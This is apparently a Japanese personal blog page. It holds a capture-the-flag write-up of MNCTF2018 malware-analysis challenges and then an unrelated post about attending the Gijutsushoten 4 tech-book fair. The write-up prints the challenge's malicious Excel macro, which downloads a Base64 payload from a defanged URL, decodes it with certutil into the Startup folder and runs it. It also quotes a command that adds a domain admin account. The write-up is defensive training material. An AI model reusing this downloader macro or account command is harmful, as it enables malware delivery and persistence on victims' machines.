日記帳

WE NEED メーデー 睡眠を!

MNCF2018 Writeup

はじめに

Macnica Networks Day 2018 で開催されたMNCTF2018に参加しました。現地勢で参加したのは初めて。せっかくだから記録としてWriteupを残しておきます(間違いとか不十分なところがあれば優しく指摘してほしい)。

("✓"がついているのは解けた問題です)

f:id:mot_skmt:20180712145229j:plain

✔新人奮闘I☆☆☆ スコア:20 Pts

マルウェアのSHA256ハッシュを答える。問題ファイル(AD_OptimizationTool.exe)を落としてPEsdudioに突っ込むとハッシュを表示してくれる。

FLAG : F24F5629BE2E0F821ADB36FE4D47407937F5A318BF96AE3655B628F833040F29

✔新人奮闘II★☆☆ スコア:60 Pts

Webフォームの形で用意されている表層解析レポートを穴埋めで作成する。 f:id:mot_skmt:20180712234323j:plain フォームに下記の情報を埋めていくとFLAGが表示される。

  • MD5ハッシュ
  • SHA1ハッシュ
  • SHA256ハッシュ
  • コンパイル日時(UTC;yyyy/mm/dd hh:mm:ss
  • Import関数とImport元のDLL

FLAG : d56d9a6036bd18ee98878eb74ae8d663

解説ではCyberChefというツールを使用していた。Webブラウザ上でファイルの様々な情報を表示することができる便利ツールということなので、今後使ってみたい。

✔新人奮闘III★☆☆ スコア:40 Pts

AD_OptimizationTool.exe実行時に実行されるコマンドを答える。PEstudioやらStringsやらで文字列を見るとコマンドが表示されている。 VirusTotalにアップロードされている問題ファイルを参照してもたどり着くことができる。

FLAG : cmd /c net user /add /domain vpnadmin P@ssw0rD1!

✔新人奮闘IV★☆☆ スコア:40 Pts

VPNのログの中から、不正アクセスの疑いがある時刻を答える。ログは長いので省略。1つ前の問題のFLAGから「ユーザ名:vpnadmin, パスワード:P@ssw0rD1!」でアクセスを試みそうなことがわかるのでvpnadminのアクセスを検索したところ、1件だけヒットした。

2018/07/13 15:01,vpnadmin,27.117.128.1

FLAG : 2018/07/13 15:01

✔新人奮闘V★☆☆ スコア:40 Pts

不正ログインしてきたIPアドレスを元に攻撃元の国を特定し、日本語で国名を回答する。先程の問題から攻撃元のIPアドレスは"27[.]117[.]128[.]1"だとわかるのでWhoisを引く。

inetnum:        27.117.128.0 - 27.117.191.255
netname:        TBROAD
descr:          Tbroad Suwon Broadcasting Corporation
admin-c:        IM576-AP
tech-c:         IM576-AP
country:        KR
status:         ALLOCATED PORTABLE
mnt-by:         MNT-KRNIC-AP
mnt-irt:        IRT-KRNIC-KR
last-modified:  2017-02-02T02:23:07Z
source:         APNIC

ということで韓国のドメインらしい。

FLAG : 韓国

大量不正★★☆ スコア:80 Pts

解けなかった問題。ssdeepで解くのだろうなと予想はできたがツールの使い方がわからず…… 解説によるとssdeep -dcdr %というコマンドで類似ファイルを表示することができたらしい。

✔種類特定★★☆ スコア:80 Pts

pcapファイルが与えられ、通信の内容からマルウェアの名前を特定して英字で回答する問題。 なんとなくWiresharkで確認したくなるが、pcapファイルをVirusTotalにアップロードするとUrsnifの通信だということがわかる。しかしUrsnifと入力してもFLAGが通らなかったため、関連しそうな名称(DreambotとかGoziとか)を試していたら正解した。

FLAG : Gozi

凌さんの解説ではSnortを用いて解いていた。Windows版は設定が面倒なためWSLを使うのがオススメとのこと。

✔標的攻撃I★★☆ スコア:60 Pts

特定のユーザ名の環境でないと動作しない処理が組み込まれた問題ファイルとしてエクセルファイルが与えられ、ユーザ名を回答する。 貧乏人なのでLibreOfficeでファイルを開くとマクロが含まれていることがわかったので、マクロの内容を調べる方針で進めた。 ファイルハッシュをVirusTotalで検索すると、マクロの中身を見ることができた。VTえらい。

www.virustotal.com

Private Sub Workbook_Open()

us = Application.UserName

For Each C In ActiveSheet.Range("C6:C11")
    If us = C.Value Then
        Set objShell = CreateObject("WScript.Shell")
        startupFolder = objShell.SpecialFolders("Startup")
        Dim xHttp: Set xHttp = CreateObject("Microsoft.XMLHTTP")
        Dim bStrm: Set bStrm = CreateObject("Adodb.Stream")
        xHttp.Open "GET", "hxxps://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert", False
        xHttp.Send
        With bStrm
            .Type = 1 '//binary
            .Open
            .write xHttp.responseBody
            .savetofile startupFolder & "\cert.pem", 2 '//overwrite
        End With
        Sleep (10000)
        Shell "certutil -decode """ & startupFolder & "\cert.pem"" """ & startupFolder & "\cert.exe"""
        Sleep (5000)
        Shell startupFolder & "\cert.exe"
    End If
Next

End Sub

※元URLをマスクしています。

マクロの中身を見るとC列に記載されている値とユーザ名を照らし合わせているように見える。しかしエクセルはC列が非表示となっているため、これを表示させると複数のユーザ名が記載されていた。複数あるがどれを入れても正解になるはず。

FLAG : Sho Shinogi

解説ではoletoolsを用いてマクロを取り出していた。

✔標的攻撃II★★☆ スコア:40 Pts

先程のマクロにより発生するHTTPS通信の通信先URLを回答する。マクロ内に平文で記述されているURLで答える。

FLAG : hxxps://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

※元URLをマスクしています。

✔標的型攻撃III★★☆ スコア:80 Pts

上記マクロの実行後に生成される二次検体のSHA256ハッシュを回答する問題。1つ前のFALGのURLにアクセスするとBase64の文字列があったので、デコードして保存するとPEファイルとなった。このファイルのSHA256がFLAG。

FLAG : C4F069D079330CD46E51F9469C27015ED34C6371481DF83A323BC098F3B53382

✔標的攻撃IV★★☆ スコア:80 Pts

1つ前の問題のPEファイルを実行すると発生するHTTPS通信の宛先URLを回答する問題。時間が無かったのでVirusTotalでファイルを検索したところ既に誰かがアップロードしていた。

Behaviorに通信先などの情報も表示されている。 f:id:mot_skmt:20180712235538j:plain

FLAG : hxxps://shinobotps1.com/download_get.php

※元URLをマスクしています。

穴埋防御★★★ スコア:100 Pts

解けなかった問題。

盗難情報★★☆ スコア:100 Pts

解けなかった問題。

yaraルールの穴埋め問題。問題ファイル(Base64エンコードされた文字列)と不完全なyaraルールが与えられるので、yaraルールを完成させましょうというもの。

まとめ

オンサイトCTFは緊張感があって楽しいです。昨年の問題と比べて今年は1つのインシデント調査を複数の問題にわたって行う形式が多かったように感じました。調査の流れを追うことができるので、トレーニング向きだなぁと思います。

問題を解く際はだいたいのことはVirusTotalがなんとかしてくれました。一方で無闇やたらにファイルをアップロードすることが現実には難しいことも事実なので、自分の手で目的の情報にたどり着くスキルも必要ですね。

例によって今年も問題は公開されているので、解けなかった問題も取り組んでいこうと思います。

http://mnctf.info/mnctf2018/

技術書典4 に行ってきました

技術書典4に一般参加で参加してきました。なんだかんだで第1回から通い詰めています。

techbookfest.org

戦利品

色々買い込みました。

今回購入させていただいた薄い本はなぜかどれも厚みのあるものばかりで、まだ流し読み程度しか出来ていません。ふんわりさっくりLinuxカーネルがとてもゆるい感じでLinuxカーネルを説明しており良かったです。OOM Killer ステッカーがかわいい。

詳細は後述しますが今回初めて技術書典公式「かんたん後払いアプリ」を利用したところ、とてもスムーズに買い物をすることが出来ました。

当日の感想

  • 快晴
    技術書典にしては珍しく快晴でした(第1回は曇天、第2回は雨天、第3回は台風)。快晴どころか4月とは思えないほどの気温となっていました。

  • 人多くない?
    快晴効果なのか、いつも以上に来場者が多かったように感じます。開場30分前に到着し整理券を受け取ったところ既に最初の入場待機列には並べない500番台となっていました。午後になっても混雑は続いていたようで、運営の整理券番号ツイートを見ると5,200名以上の技術者が来場されたようです。

  • かんたん後払いアプリ is 最&高
    技術書典では第3回開催以降、運営の手で「かんたん後払いシステム」が提供されています。参加者が技術者なら運営も当然技術者です。

    かんたん後払いシステム提供のお知らせ | 技術書典ブログ

    同人誌即売会イベントで一般参加者・サークル参加者ともに負担となるのが小銭と1,000円札の準備ではないでしょうか。同人イベントではサークルに釣り銭負担をかけないために小銭でぴったり支払うのが半ば常識となっています。しかし普段から意識していないとなかなか小銭を用意することは出来ません。 また、すし詰め状態のイベント会場で財布を取り出して小銭を用意する作業を繰り返すのは単純に時間がかかり面倒です。財布を落としたりした日には目も当てられません。

    そこで今回、初めてかんたん後払いアプリを使ってみました。利用するためには事前認証が必要ですが、この時点でのカード番号登録などは必要ありません。本人確認のSMS認証を行うだけでした。 そしてイベント当日は財布を一切取り出すことなく購入の手続きを終えることができます。会場で目当ての本を見つけたら「アプリの支払いで」とか「QRで」とか伝えて、アプリのQRリーダーでバーコードを読み込めば終わり。シンプル。最高。お金を使う後ろめたさを感じることなく荷物を増やしていくことが可能です。 後日技術書典運営から支払い案内のメールが届くので、PayPal or Stripeで支払って現実を知ります。ちなみに私はPayPalで決済しましたが、このときもログイン等必要なくとてもスムーズに終える事ができました。

    冗長な文章ですが、実際に使用すると本当にストレスなく薄い本を買い込んでいくことが出来るので非常にオススメです。まだ使ったことが無いという方はぜひ一度利用してみてください!

まとめ

同人誌即売会は一期一会の出会いも大切ですが、それはそれとしてサークルチェックは入念に行いましょう。